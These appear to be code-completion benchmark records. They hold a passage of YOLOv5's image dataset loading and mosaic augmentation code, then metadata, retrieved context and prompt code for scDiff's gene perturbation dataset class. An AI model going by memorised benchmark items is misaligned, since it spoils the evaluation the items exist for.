s = eval(s) if s.isnumeric() else s # i.e. s = '0' local webcam cap = cv2.VideoCapture(s) assert cap.isOpened(), f'Failed to open {s}' w = int(cap.get(cv2.CAP_PROP_FRAME_WIDTH)) h = int(cap.get(cv2.CAP_PROP_FRAME_HEIGHT)) self.fps[i] = max(cap.get(cv2.CAP_PROP_FPS) % 100, 0) or 30.0 # 30 FPS fallback self.frames[i] = max(int(cap.get(cv2.CAP_PROP_FRAME_COUNT)), 0) or float('inf') # infinite stream fallback _, self.imgs[i] = cap.read() # guarantee first frame self.threads[i] = Thread(target=self.update, args=([i, cap, s]), daemon=True) print(f" success ({self.frames[i]} frames {w}x{h} at {self.fps[i]:.2f} FPS)") self.threads[i].start() print('') # newline # check for common shapes s = np.stack([letterbox(x, self.img_size, stride=self.stride, auto=self.auto)[0].shape for x in self.imgs]) self.rect = np.unique(s, axis=0).shape[0] == 1 # rect inference if all shapes equal if not self.rect: print('WARNING: Different stream shapes detected. For optimal performance supply similarly-shaped streams.') def update(self, i, cap, stream): # Read stream `i` frames in daemon thread n, f, read = 0, self.frames[i], 1 # frame number, frame array, inference every 'read' frame while cap.isOpened() and n < f: n += 1 # _, self.imgs[index] = cap.read() cap.grab() if n % read == 0: success, im = cap.retrieve() if success: self.imgs[i] = im else: print('WARNING: Video stream unresponsive, please check your IP camera connection.') self.imgs[i] *= 0 cap.open(stream) # re-open stream if signal was lost time.sleep(1 / self.fps[i]) # wait time def __iter__(self): self.count = -1 return self def __next__(self): self.count += 1 if not all(x.is_alive() for x in self.threads) or cv2.waitKey(1) == ord('q'): # q to quit cv2.destroyAllWindows() raise StopIteration # Letterbox img0 = self.imgs.copy() img = [letterbox(x, self.img_size, stride=self.stride, auto=self.rect and self.auto)[0] for x in img0] # Stack img = np.stack(img, 0) # Convert img = img[..., ::-1].transpose((0, 3, 1, 2)) # BGR to RGB, BHWC to BCHW img = np.ascontiguousarray(img) return self.sources, img, img0, None def __len__(self): return len(self.sources) # 1E12 frames = 32 streams at 30 FPS for 30 years def img2label_paths(img_paths): # Define label paths as a function of image paths sa, sb = os.sep + 'images' + os.sep, os.sep + 'labels' + os.sep # /images/, /labels/ substrings return [sb.join(x.rsplit(sa, 1)).rsplit('.', 1)[0] + '.txt' for x in img_paths] class LoadImagesAndLabels(Dataset): # YOLOv5 train_loader/val_loader, loads images and labels for training and validation cache_version = 0.5 # dataset labels *.cache version def __init__(self, path, img_size=640, batch_size=16, augment=True, hyp=None, rect=False, image_weights=False, cache_images=False, single_cls=False, stride=32, pad=0.0, prefix=''): self.img_size = img_size self.augment = augment self.hyp = hyp self.image_weights = image_weights self.rect = False if image_weights else rect self.mosaic = self.augment and not self.rect # load 4 images at a time into a mosaic (only during training) self.mosaic_border = [-img_size // 2, -img_size // 2] self.stride = stride self.path = path self.albumentations = Albumentations() if augment else None try: f = [] # image files for p in path if isinstance(path, list) else [path]: p = Path(p) # os-agnostic if p.is_dir(): # dir f += glob.glob(str(p / '**' / '*.*'), recursive=True) # f = list(p.rglob('**/*.*')) # pathlib elif p.is_file(): # file with open(p, 'r') as t: t = t.read().strip().splitlines() parent = str(p.parent) + os.sep f += [x.replace('./', parent) if x.startswith('./') else x for x in t] # local to global path # f += [p.parent / x.lstrip(os.sep) for x in t] # local to global path (pathlib) else: raise Exception(f'{prefix}{p} does not exist') self.img_files = sorted([x.replace('/', os.sep) for x in f if x.split('.')[-1].lower() in IMG_FORMATS]) # self.img_files = sorted([x for x in f if x.suffix[1:].lower() in img_formats]) # pathlib assert self.img_files, f'{prefix}No images found' except Exception as e: raise Exception(f'{prefix}Error loading data from {path}: {e}\nSee {HELP_URL}') # Check cache self.label_files = img2label_paths(self.img_files) # labels cache_path = (p if p.is_file() else Path(self.label_files[0]).parent).with_suffix('.cache') try: cache, exists = np.load(cache_path, allow_pickle=True).item(), True # load dict assert cache['version'] == self.cache_version # same version assert cache['hash'] == get_hash(self.label_files + self.img_files) # same hash except: cache, exists = self.cache_labels(cache_path, prefix), False # cache # Display cache nf, nm, ne, nc, n = cache.pop('results') # found, missing, empty, corrupted, total if exists: d = f"Scanning '{cache_path}' images and labels... {nf} found, {nm} missing, {ne} empty, {nc} corrupted" tqdm(None, desc=prefix + d, total=n, initial=n) # display cache results if cache['msgs']: logging.info('\n'.join(cache['msgs'])) # display warnings assert nf > 0 or not augment, f'{prefix}No labels in {cache_path}. Can not train without labels. See {HELP_URL}' # Read cache [cache.pop(k) for k in ('hash', 'version', 'msgs')] # remove items labels, shapes, self.segments = zip(*cache.values()) self.labels = list(labels) self.shapes = np.array(shapes, dtype=np.float64) self.img_files = list(cache.keys()) # update self.label_files = img2label_paths(cache.keys()) # update if single_cls: for x in self.labels: x[:, 0] = 0 n = len(shapes) # number of images bi = np.floor(np.arange(n) / batch_size).astype(np.int) # batch index nb = bi[-1] + 1 # number of batches self.batch = bi # batch index of image self.n = n self.indices = range(n) # Rectangular Training if self.rect: # Sort by aspect ratio s = self.shapes # wh ar = s[:, 1] / s[:, 0] # aspect ratio irect = ar.argsort() self.img_files = [self.img_files[i] for i in irect] self.label_files = [self.label_files[i] for i in irect] self.labels = [self.labels[i] for i in irect] self.shapes = s[irect] # wh ar = ar[irect] # Set training image shapes shapes = [[1, 1]] * nb for i in range(nb): ari = ar[bi == i] mini, maxi = ari.min(), ari.max() if maxi < 1: shapes[i] = [maxi, 1] elif mini > 1: shapes[i] = [1, 1 / mini] self.batch_shapes = np.ceil(np.array(shapes) * img_size / stride + pad).astype(np.int) * stride # Cache images into memory for faster training (WARNING: large datasets may exceed system RAM) self.imgs, self.img_npy = [None] * n, [None] * n if cache_images: if cache_images == 'disk': self.im_cache_dir = Path(Path(self.img_files[0]).parent.as_posix() + '_npy') self.img_npy = [self.im_cache_dir / Path(f).with_suffix('.npy').name for f in self.img_files] self.im_cache_dir.mkdir(parents=True, exist_ok=True) gb = 0 # Gigabytes of cached images self.img_hw0, self.img_hw = [None] * n, [None] * n results = ThreadPool(NUM_THREADS).imap(lambda x: load_image(*x), zip(repeat(self), range(n))) pbar = tqdm(enumerate(results), total=n) for i, x in pbar: if cache_images == 'disk': if not self.img_npy[i].exists(): np.save(self.img_npy[i].as_posix(), x[0]) gb += self.img_npy[i].stat().st_size else: self.imgs[i], self.img_hw0[i], self.img_hw[i] = x # im, hw_orig, hw_resized = load_image(self, i) gb += self.imgs[i].nbytes pbar.desc = f'{prefix}Caching images ({gb / 1E9:.1f}GB {cache_images})' pbar.close() def cache_labels(self, path=Path('./labels.cache'), prefix=''): # Cache dataset labels, check images and read shapes x = {} # dict nm, nf, ne, nc, msgs = 0, 0, 0, 0, [] # number missing, found, empty, corrupt, messages desc = f"{prefix}Scanning '{path.parent / path.stem}' images and labels..." with Pool(NUM_THREADS) as pool: pbar = tqdm(pool.imap(verify_image_label, zip(self.img_files, self.label_files, repeat(prefix))), desc=desc, total=len(self.img_files)) for im_file, l, shape, segments, nm_f, nf_f, ne_f, nc_f, msg in pbar: nm += nm_f nf += nf_f ne += ne_f nc += nc_f if im_file: x[im_file] = [l, shape, segments] if msg: msgs.append(msg) pbar.desc = f"{desc}{nf} found, {nm} missing, {ne} empty, {nc} corrupted" pbar.close() if msgs: logging.info('\n'.join(msgs)) if nf == 0: logging.info(f'{prefix}WARNING: No labels found in {path}. See {HELP_URL}') x['hash'] = get_hash(self.label_files + self.img_files) x['results'] = nf, nm, ne, nc, len(self.img_files) x['msgs'] = msgs # warnings x['version'] = self.cache_version # cache version try: np.save(path, x) # save cache for next time path.with_suffix('.cache.npy').rename(path) # remove .npy suffix logging.info(f'{prefix}New cache created: {path}') except Exception as e: logging.info(f'{prefix}WARNING: Cache directory {path.parent} is not writeable: {e}') # path not writeable return x def __len__(self): return len(self.img_files) # def __iter__(self): # self.count = -1 # print('ran dataset iter') # #self.shuffled_vector = np.random.permutation(self.nF) if self.augment else np.arange(self.nF) # return self def __getitem__(self, index): index = self.indices[index] # linear, shuffled, or image_weights hyp = self.hyp mosaic = self.mosaic and random.random() < hyp['mosaic'] if mosaic: # Load mosaic img, labels = load_mosaic(self, index) # labels xyxy shapes = None # MixUp augmentation if random.random() < hyp['mixup']: img, labels = mixup(img, labels, *load_mosaic(self, random.randint(0, self.n - 1))) else: # Load image img, (h0, w0), (h, w) = load_image(self, index) # Letterbox shape = self.batch_shapes[self.batch[index]] if self.rect else self.img_size # final letterboxed shape img, ratio, pad = letterbox(img, shape, auto=False, scaleup=self.augment) shapes = (h0, w0), ((h / h0, w / w0), pad) # for COCO mAP rescaling labels = self.labels[index].copy() if labels.size: # normalized xywh to pixel xyxy format labels[:, 1:] = xywhn2xyxy(labels[:, 1:], ratio[0] * w, ratio[1] * h, padw=pad[0], padh=pad[1]) if self.augment: img, labels = random_perspective(img, labels, degrees=hyp['degrees'], translate=hyp['translate'], scale=hyp['scale'], shear=hyp['shear'], perspective=hyp['perspective']) nl = len(labels) # number of labels if nl: labels[:, 1:5] = xyxy2xywhn(labels[:, 1:5], w=img.shape[1], h=img.shape[0], clip=True, eps=1E-3) if self.augment: # Albumentations img, labels = self.albumentations(img, labels) nl = len(labels) # update after albumentations # HSV color-space augment_hsv(img, hgain=hyp['hsv_h'], sgain=hyp['hsv_s'], vgain=hyp['hsv_v']) # Flip up-down if random.random() < hyp['flipud']: img = np.flipud(img) if nl: labels[:, 2] = 1 - labels[:, 2] # Flip left-right if random.random() < hyp['fliplr']: img = np.fliplr(img) if nl: labels[:, 1] = 1 - labels[:, 1] nl = len(labels) labels_out = torch.zeros((nl, 6)) if nl: labels_out[:, 1:] = torch.from_numpy(labels) # Convert img = img.transpose((2, 0, 1))[::-1] # HWC to CHW, BGR to RGB img = np.ascontiguousarray(img) return torch.from_numpy(img), labels_out, self.img_files[index], shapes @staticmethod def collate_fn(batch): """这个函数会在create_dataloader中生成dataloader时调用: 整理函数 将image和label整合到一起 :return torch.stack(img, 0): 如[16, 3, 640, 640] 整个batch的图片 :return torch.cat(label, 0): 如[15, 6] [num_target, img_index+class_index+xywh(normalized)] 整个batch的label :return path: 整个batch所有图片的路径 :return shapes: (h0, w0), ((h / h0, w / w0), pad) for COCO mAP rescaling pytorch的DataLoader打包一个batch的数据集时要经过此函数进行打包 通过重写此函数实现标签与图片对应的划分,一个batch中哪些标签属于哪一张图片,形如 [[0, 6, 0.5, 0.5, 0.26, 0.35], [0, 6, 0.5, 0.5, 0.26, 0.35], [1, 6, 0.5, 0.5, 0.26, 0.35], [2, 6, 0.5, 0.5, 0.26, 0.35],] 前两行标签属于第一张图片, 第三行属于第二张。。。 """ # img: 一个tuple 由batch_size个tensor组成 整个batch中每个tensor表示一张图片 # label: 一个tuple 由batch_size个tensor组成 每个tensor存放一张图片的所有的target信息 # label[6, object_num] 6中的第一个数代表一个batch中的第几张图 # path: 一个tuple 由4个str组成, 每个str对应一张图片的地址信息 img, label, path, shapes = zip(*batch) # transposed for i, l in enumerate(label): l[:, 0] = i # add target image index for build_targets() return torch.stack(img, 0), torch.cat(label, 0), path, shapes @staticmethod def collate_fn4(batch): img, label, path, shapes = zip(*batch) # transposed n = len(shapes) // 4 img4, label4, path4, shapes4 = [], [], path[:n], shapes[:n] ho = torch.tensor([[0., 0, 0, 1, 0, 0]]) wo = torch.tensor([[0., 0, 1, 0, 0, 0]]) s = torch.tensor([[1, 1, .5, .5, .5, .5]]) # scale for i in range(n): # zidane torch.zeros(16,3,720,1280) # BCHW i *= 4 if random.random() < 0.5: im = F.interpolate(img[i].unsqueeze(0).float(), scale_factor=2., mode='bilinear', align_corners=False)[ 0].type(img[i].type()) l = label[i] else: im = torch.cat((torch.cat((img[i], img[i + 1]), 1), torch.cat((img[i + 2], img[i + 3]), 1)), 2) l = torch.cat((label[i], label[i + 1] + ho, label[i + 2] + wo, label[i + 3] + ho + wo), 0) * s img4.append(im) label4.append(l) for i, l in enumerate(label4): l[:, 0] = i # add target image index for build_targets() return torch.stack(img4, 0), torch.cat(label4, 0), path4, shapes4 # Ancillary functions -------------------------------------------------------------------------------------------------- def load_image(self, i): # loads 1 image from dataset index 'i', returns im, original hw, resized hw im = self.imgs[i] if im is None: # not cached in ram npy = self.img_npy[i] if npy and npy.exists(): # load npy im = np.load(npy) else: # read image path = self.img_files[i] im = cv2.imread(path) # BGR assert im is not None, 'Image Not Found ' + path h0, w0 = im.shape[:2] # orig hw r = self.img_size / max(h0, w0) # ratio if r != 1: # if sizes are not equal im = cv2.resize(im, (int(w0 * r), int(h0 * r)), interpolation=cv2.INTER_AREA if r < 1 and not self.augment else cv2.INTER_LINEAR) return im, (h0, w0), im.shape[:2] # im, hw_original, hw_resized else: return self.imgs[i], self.img_hw0[i], self.img_hw[i] # im, hw_original, hw_resized def load_mosaic(self, index): # YOLOv5 4-mosaic loader. Loads 1 image + 3 random images into a 4-image mosaic labels4, segments4 = [], [] s = self.img_size yc, xc = [int(random.uniform(-x, 2 * s + x)) for x in self.mosaic_border] # mosaic center x, y indices = [index] + random.choices(self.indices, k=3) # 3 additional image indices random.shuffle(indices) # 打乱,不区分主次图 for i, index in enumerate(indices): # 遍历4张图片 # Load image img, _, (h, w) = load_image(self, index) # labels = self.labels[index].copy() # nl = len(labels) # # Center crop # if random.random() < 0.95: # size1 = int(img.shape[1] / 2) # size2 = int(img.shape[0] / 2) # trans = A.Compose([ # A.CenterCrop(width=size1, height=size2, p=1.0) # ], bbox_params=A.BboxParams(format='yolo', min_visibility=0.2, label_fields=['class_labels'])) # if nl: # new = trans(image=img, bboxes=labels[:, 1:], class_labels=labels[:, 0]) # # # transformed # img, labels = new['image'], np.array( # [[c, *b] for c, b in zip(new['class_labels'], new['bboxes'])]) # # s = img.shape[0] # place img in img4 if i == 0: # top left img4 = np.full((s * 2, s * 2, img.shape[2]), 114, dtype=np.uint8) # base image with 4 tiles x1a, y1a, x2a, y2a = max(xc - w, 0), max(yc - h, 0), xc, yc # xmin, ymin, xmax, ymax (large image) x1b, y1b, x2b, y2b = w - (x2a - x1a), h - (y2a - y1a), w, h # xmin, ymin, xmax, ymax (small image) elif i == 1: # top right x1a, y1a, x2a, y2a = xc, max(yc - h, 0), min(xc + w, s * 2), yc x1b, y1b, x2b, y2b = 0, h - (y2a - y1a), min(w, x2a - x1a), h elif i == 2: # bottom left x1a, y1a, x2a, y2a = max(xc - w, 0), yc, xc, min(s * 2, yc + h) x1b, y1b, x2b, y2b = w - (x2a - x1a), 0, w, min(y2a - y1a, h) elif i == 3: # bottom right x1a, y1a, x2a, y2a = xc, yc, min(xc + w, s * 2), min(s * 2, yc + h) x1b, y1b, x2b, y2b = 0, 0, min(w, x2a - x1a), min(y2a - y1a, h) img4[y1a:y2a, x1a:x2a] = img[y1b:y2b, x1b:x2b] # img4[ymin:ymax, xmin:xmax] padw = x1a - x1b # 填充 padh = y1a - y1b # Labels 获取图片bbox label以及分割lable-segment(YOLO格式转换) labels, segments = self.labels[index].copy(), self.segments[index].copy() # segments = self.segments[index].copy() if labels.size: labels[:, 1:] = xywhn2xyxy(labels[:, 1:], w, h, padw, padh) # normalized xywh to pixel xyxy format segments = [xyn2xy(x, w, h, padw, padh) for x in segments] labels4.append(labels) # list, segments4.extend(segments) # Concat/clip labels 连接所有bboxlabel和分割label,并将所有坐标限制在组合图像范围内(除去未显示目标的标签) labels4 = np.concatenate(labels4, 0) # xyxy ndarray for x in (labels4[:, 1:], *segments4): np.clip(x, 0, 2 * s, out=x) # clip when using random_perspective() # img4, labels4 = replicate(img4, labels4) # replicate # Augment img4, labels4, segments4 = copy_paste(img4, labels4, segments4, p=self.hyp['copy_paste']) img4, labels4 = random_perspective(img4, labels4, segments4, degrees=self.hyp['degrees'], translate=self.hyp['translate'], scale=self.hyp['scale'], shear=self.hyp['shear'], perspective=self.hyp['perspective'], border=self.mosaic_border) # border to remove # nl = len(labels4) # if nl: # labels4[:, 1:5] = xyxy2xywhn(labels4[:, 1:5], w=img4.shape[1], h=img4.shape[0], clip=True, eps=1E-3) # xywhn # # Center crop # if random.random() < 0.95: # size1 = int(img4.shape[1] / 2) # size2 = int(img4.shape[0] / 2) # trans = A.Compose([ # A.CenterCrop(width=size1, height=size2, p=1.0) # ], bbox_params=A.BboxParams(format='yolo', min_visibility=0.2, label_fields=['class_labels'])) # if nl: # new = trans(image=img4, bboxes=labels4[:, 1:], class_labels=labels4[:, 0]) # # # transformed # im, labels4 = new['image'], np.array( # [[c, *b] for c, b in zip(new['class_labels'], new['bboxes'])]) # labels4[:, 1:] = xywhn2xyxy(labels4[:, 1:], im.shape[1], im.shape[0], 0, 0) # xyxy return img4, labels4 def load_mosaic9(self, index): # YOLOv5 9-mosaic loader. Loads 1 image + 8 random images into a 9-image mosaic labels9, segments9 = [], [] s = self.img_size indices = [index] + random.choices(self.indices, k=8) # 8 additional image indices random.shuffle(indices) for i, index in enumerate(indices): # Load image img, _, (h, w) = load_image(self, index) # place img in img9 if i == 0: # center img9 = np.full((s * 3, s * 3, img.shape[2]), 114, dtype=np.uint8) # base image with 4 tiles h0, w0 = h, w c = s, s, s + w, s + h # xmin, ymin, xmax, ymax (base) coordinates elif i == 1: # top c = s, s - h, s + w, s elif i == 2: # top right c = s + wp, s - h, s + wp + w, s elif i == 3: # right c = s + w0, s, s + w0 + w, s + h elif i == 4: # bottom right c = s + w0, s + hp, s + w0 + w, s + hp + h elif i == 5: # bottom c = s + w0 - w, s + h0, s + w0, s + h0 + h elif i == 6: # bottom left c = s + w0 - wp - w, s + h0, s + w0 - wp, s + h0 + h elif i == 7: # left c = s - w, s + h0 - h, s, s + h0 elif i == 8: # top left c = s - w, s + h0 - hp - h, s, s + h0 - hp padx, pady = c[:2] x1, y1, x2, y2 = [max(x, 0) for x in c] # allocate coords # Labels labels, segments = self.labels[index].copy(), self.segments[index].copy() if labels.size: labels[:, 1:] = xywhn2xyxy(labels[:, 1:], w, h, padx, pady) # normalized xywh to pixel xyxy format segments = [xyn2xy(x, w, h, padx, pady) for x in segments] labels9.append(labels) segments9.extend(segments) # Image img9[y1:y2, x1:x2] = img[y1 - pady:, x1 - padx:] # img9[ymin:ymax, xmin:xmax] hp, wp = h, w # height, width previous # Offset yc, xc = [int(random.uniform(0, s)) for _ in self.mosaic_border] # mosaic center x, y img9 = img9[yc:yc + 2 * s, xc:xc + 2 * s] # Concat/clip labels labels9 = np.concatenate(labels9, 0) labels9[:, [1, 3]] -= xc labels9[:, [2, 4]] -= yc c = np.array([xc, yc]) # centers segments9 = [x - c for x in segments9] for x in (labels9[:, 1:], *segments9): np.clip(x, 0, 2 * s, out=x) # clip when using random_perspective() # img9, labels9 = replicate(img9, labels9) # replicate # Augment img9, labels9 = random_perspective(img9, labels9, segments9, degrees=self.hyp['degrees'], translate=self.hyp['translate'], scale=self.hyp['scale'], shear=self.hyp['shear'], perspective=self.hyp['perspective'], border=self.mosaic_border) # border to remove return img9, labels9 def create_folder(path='./new'): # Create folder if os.path.exists(path): shutil.rmtree(path) # delete output folder os.makedirs(path) # make new output folder def flatten_recursive(path='../datasets/coco128'): # Flatten a recursive directory by bringing all files to top level new_path = Path(path + '_flat') create_folder(new_path) for file in tqdm(glob.glob(str(Path(path)) + '/**/*.*', recursive=True)): shutil.copyfile(file, new_path / Path(file).name) def extract_boxes(path='../datasets/coco128'): # from utils.datasets import *; extract_boxes() # Convert detection dataset into classification dataset, with one directory per class path = Path(path) # images dir shutil.rmtree(path / 'classifier') if (path / 'classifier').is_dir() else None # remove existing files = list(path.rglob('*.*')) n = len(files) # number of files for im_file in tqdm(files, total=n): if im_file.suffix[1:] in IMG_FORMATS: # image im = cv2.imread(str(im_file))[..., ::-1] # BGR to RGB h, w = im.shape[:2] # labels lb_file = Path(img2label_paths([str(im_file)])[0]) if Path(lb_file).exists(): with open(lb_file, 'r') as f: lb = np.array([x.split() for x in f.read().strip().splitlines()], dtype=np.float32) # labels for j, x in enumerate(lb): c = int(x[0]) # class f = (path / 'classifier') / f'{c}' / f'{path.stem}_{im_file.stem}_{j}.jpg' # new filename if not f.parent.is_dir(): f.parent.mkdir(parents=True) b = x[1:] * [w, h, w, h] # box # b[2:] = b[2:].max() # rectangle to square b[2:] = b[2:] * 1.2 + 3 # pad b = xywh2xyxy(b.reshape(-1, 4)).ravel().astype(np.int) b[[0, 2]] = np.clip(b[[0, 2]], 0, w) # clip boxes outside of image b[[1, 3]] = np.clip(b[[1, 3]], 0, h) assert cv2.imwrite(str(f), im[b[1]:b[3], b[0]:b[2]]), f'box failure in {f}' def autosplit(path='../datasets/coco128/images', weights=(0.9, 0.1, 0.0), annotated_only=False): """ Autosplit a dataset into train/val/test splits and save path/autosplit_*.txt files Usage: from utils.datasets import *; autosplit() Arguments path: Path to images directory weights: Train, val, test weights (list, tuple) annotated_only: Only use images with an annotated txt file """ path = Path(path) # images dir files = sum([list(path.rglob(f"*.{img_ext}")) for img_ext in IMG_FORMATS], []) # image files only n = len(files) # number of files random.seed(0) # for reproducibility indices = random.choices([0, 1, 2], weights=weights, k=n) # assign each image to a split txt = ['autosplit_train.txt', 'autosplit_val.txt', 'autosplit_test.txt'] # 3 txt files [(path.parent / x).unlink(missing_ok=True) for x in txt] # remove existing print(f'Autosplitting images from {path}' + ', using *.txt labeled images only' * annotated_only) for i, img in tqdm(zip(indices, files), total=n): if not annotated_only or Path(img2label_paths([str(img)])[0]).exists(): # check label with open(path.parent / txt[i], 'a') as f: f.write('./' + img.relative_to(path.parent).as_posix() + '\n') # add image to txt file def verify_image_label(args): # Verify one image-label pair im_file, lb_file, prefix = args nm, nf, ne, nc, msg, segments = 0, 0, 0, 0, '', [] # number (missing, found, empty, corrupt), message, segments try: # verify images im = Image.open(im_file) im.verify() # PIL verify shape = exif_size(im) # image size assert (shape[0] > 9) & (shape[1] > 9), f'image size {shape} <10 pixels' assert im.format.lower() in IMG_FORMATS, f'invalid image format {im.format}' if im.format.lower() in ('jpg', 'jpeg'): with open(im_file, 'rb') as f: f.seek(-2, 2) if f.read() != b'\xff\xd9': # corrupt JPEG Image.open(im_file).save(im_file, format='JPEG', subsampling=0, quality=100) # re-save image msg = f'{prefix}WARNING: corrupt JPEG restored and saved {im_file}' # verify labels if os.path.isfile(lb_file): nf = 1 # label found with open(lb_file, 'r') as f: l = [x.split() for x in f.read().strip().splitlines() if len(x)] if any([len(x) > 8 for x in l]): # is segment classes = np.array([x[0] for x in l], dtype=np.float32) segments = [np.array(x[1:], dtype=np.float32).reshape(-1, 2) for x in l] # (cls, xy1...)
l = np.concatenate((classes.reshape(-1, 1), segments2boxes(segments)), 1) # (cls, xywh)
11
2023-10-12 08:52:01+00:00
12k
OmicsML/scDiff
scdiff/data/gene_pert.py
[ { "identifier": "TargetDataset", "path": "scdiff/data/base.py", "snippet": "class TargetDataset(SplitDataset):\n SPLIT: Optional[str] = None\n TARGET_KEY = \"target\"\n\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n\n def __len__(self):\n return le...
import os.path as osp import numpy as np import torch from abc import ABC, abstractmethod from collections import defaultdict from sklearn.preprocessing import LabelEncoder from scdiff.data.base import TargetDataset from scdiff.ext.gears import PertData from scdiff.ext.gears.utils import get_similarity_network, GeneSimNetwork
8,111
self.cell_graphs = self.pert_data.get_cell_graphs() # only y is needed, x contains control cells self.adata = self.pert_data.adata self.adata.obs[self.batch_key] = "null" # NOTE: these datasets do not contain batch info self.adata.obs["split"] = "na" for split_name, split_conds in self.pert_data.set2conditions.items(): self.adata.obs.loc[self.adata.obs["condition"].isin(split_conds), "split"] = split_name self.pert_list = self.pert_data.pert_names.tolist() self.num_perts = len(self.pert_list) self.split = self.pert_data.split self.train_gene_set_size = self.pert_data.train_gene_set_size self.set2conditions = self.pert_data.set2conditions self.default_pert_graph = self.pert_data.default_pert_graph self.node_map_pert = self.pert_data.node_map_pert def _init_condiitons(self): # all the datasets only have one cell type and one batch self.celltype_enc = LabelEncoder() self.celltype_enc.classes_ = np.array( sorted(self.adata.obs[self.celltype_key].astype(str).unique()) ) # NOTE: these datasets only have one cell type, so do not need to add null self.batch_enc = LabelEncoder() self.batch_enc.classes_ = np.array( sorted(self.adata.obs[self.batch_key].astype(str).unique()) ) if self.post_cond_flag: self.cond_num_dict = { 'cell_type': len(self.celltype_enc.classes_), } self.post_cond_num_dict = {'batch': len(self.batch_enc.classes_)} else: self.cond_num_dict = { 'batch': len(self.batch_enc.classes_), 'cell_type': len(self.celltype_enc.classes_), } self.post_cond_num_dict = None def _load(self): self.input_graphs = self.cell_graphs[self.SPLIT] # train, val, test self.target = self.extras = None pert_idx_list = [data.pert_idx for data in self.input_graphs] max_num_pert = max(map(len, pert_idx_list)) for i in pert_idx_list: # pad with ctrl idx (-1) to ensure consistent dimension if len(i) < max_num_pert: i.extend([-1] * (max_num_pert - len(i))) self.pert_idx = torch.tensor(pert_idx_list, dtype=torch.long) if self.SPLIT != 'train': self.input = torch.cat([data.x for data in self.input_graphs], dim=1).T.contiguous() self.target = torch.cat([data.y for data in self.input_graphs], dim=0).contiguous() # XXX: convert full condition name to condition name (assumes one-to-one) fullcond_to_cond = defaultdict(set) for fullcond, cond in self.adata.obs[["condition_name", "condition"]].values: fullcond_to_cond[fullcond].add(cond) len_dict = {i: len(j) for i, j in fullcond_to_cond.items()} assert all(i == 1 for i in len_dict.values()), f"Conditions not one-to-one: {len_dict}" fullcond_to_cond = {i: j.pop() for i, j in fullcond_to_cond.items()} gene_to_idx = {j: i for i, j in enumerate(self.adata.var.index.tolist())} gene_rank_dict, ndde20_dict = {}, {} for fullname, name in fullcond_to_cond.items(): pert_idx = self.pert_data.get_pert_idx(name) assert all(isinstance(i, (int, np.int64)) for i in pert_idx), f"{pert_idx=!r}" gene_order = self.adata.uns["rank_genes_groups_cov_all"][fullname] gene_rank_dict[tuple(pert_idx)] = [gene_to_idx[i] for i in gene_order.tolist()] ndde20 = self.adata.uns["top_non_dropout_de_20"][fullname] ndde20_dict[tuple(pert_idx)] = [gene_to_idx[i] for i in ndde20.tolist()] self.extras = {"rank_genes_groups_cov_all_idx_dict": gene_rank_dict, "top_non_dropout_de_20": ndde20_dict} else: self.input = torch.cat([data.y for data in self.input_graphs], dim=0).contiguous() self.gene_names = self.adata.var.index.tolist() self.celltype = self.celltype_enc.transform(self.adata.obs[self.celltype_key].astype(str)) self.batch = self.batch_enc.transform(self.adata.obs[self.batch_key].astype(str)) self.cond = { 'batch': torch.tensor(self.batch).float(), 'cell_type': torch.tensor(self.celltype).float(), 'pert': self.pert_idx, } # calculating gene ontology similarity graph edge_list = get_similarity_network(network_type='go', adata=self.adata, threshold=self.coexpress_threshold, k=self.num_similar_genes_go_graph, pert_list=self.pert_list, data_path=self.datadir, data_name=self.dataset, split=self.split_type, seed=self.seed, train_gene_set_size=self.train_gene_set_size, set2conditions=self.set2conditions, default_pert_graph=self.default_pert_graph) sim_network = GeneSimNetwork(edge_list, self.pert_list, node_map=self.node_map_pert) self.G_go = sim_network.edge_index self.G_go_weight = sim_network.edge_weight if self.pretrained_gene_list is not None: pretrained_gene_index = dict(zip(self.pretrained_gene_list, list(range(len(self.pretrained_gene_list))))) self.input_gene_idx = torch.tensor([ pretrained_gene_index[o] for o in self.gene_list if o in pretrained_gene_index ]).long() @abstractmethod def _prepare(self): ...
GO_FILE = 'go_essential_all.csv' GENE2GO_FILE = 'gene2go_all.pkl' ESSENTIAL_GENES_FILE = 'essential_all_data_pert_genes.pkl' DATASETS = { 'adamson': 'adamson/perturb_processed.h5ad', 'dixit': 'dixit/perturb_processed.h5ad', 'norman': 'norman/perturb_processed.h5ad', } SPLIT_TYPES = { 'adamson': ['simulation', 'single'], 'dixit': ['simulation', 'single'], 'norman': ['simulation', 'combo_seen0', 'combo_seen1', 'combo_seen2'], } def extend_pert_list(x, extend_key): if len(x) == 1 and x[0] == extend_key: return [extend_key, extend_key] else: return x class GenePerturbationBase(ABC): def __init__(self, datadir='./data', dataset='adamson', test_cell_types=None, save_processed=False, post_cond_flag=True, ignore_cond_flag=False, pretrained_gene_list=None, split_type='simulation', pretrained_gene_list_path=None, subset_flag=False, seed=1, coexpress_threshold=0.4, num_similar_genes_go_graph=20): assert dataset in ['adamson', 'dixit', 'norman'] assert split_type in SPLIT_TYPES[dataset] self.celltype_key = 'cell_type' self.batch_key = 'batch' self.pert_key = 'condition' self.ctrl_key = 'control' self.ctrl_value = 'ctrl' self.datadir = datadir self.dataset = dataset self.split_type = split_type self.seed = seed self.return_raw = False self.subset_flag = subset_flag self.save_processed = save_processed self.post_cond_flag = post_cond_flag self.test_cell_types = test_cell_types self.ignore_cond_flag = ignore_cond_flag self.coexpress_threshold = coexpress_threshold self.num_similar_genes_go_graph = num_similar_genes_go_graph if pretrained_gene_list is None and pretrained_gene_list_path is not None: assert pretrained_gene_list_path.endswith('npy') pretrained_gene_list = np.load(pretrained_gene_list_path, allow_pickle=True) self.pretrained_gene_list = pretrained_gene_list self._read_and_split(datadir=datadir, dataset=dataset, split_type=split_type) self._init_condiitons() self._prepare() def _read_and_split(self, datadir='./data', dataset='adamson', split_type='single'): self.pert_data = PertData(datadir) self.pert_data.load(data_path=osp.join(datadir, dataset)) self.pert_data.prepare_split(split=split_type, seed=self.seed) self.cell_graphs = self.pert_data.get_cell_graphs() # only y is needed, x contains control cells self.adata = self.pert_data.adata self.adata.obs[self.batch_key] = "null" # NOTE: these datasets do not contain batch info self.adata.obs["split"] = "na" for split_name, split_conds in self.pert_data.set2conditions.items(): self.adata.obs.loc[self.adata.obs["condition"].isin(split_conds), "split"] = split_name self.pert_list = self.pert_data.pert_names.tolist() self.num_perts = len(self.pert_list) self.split = self.pert_data.split self.train_gene_set_size = self.pert_data.train_gene_set_size self.set2conditions = self.pert_data.set2conditions self.default_pert_graph = self.pert_data.default_pert_graph 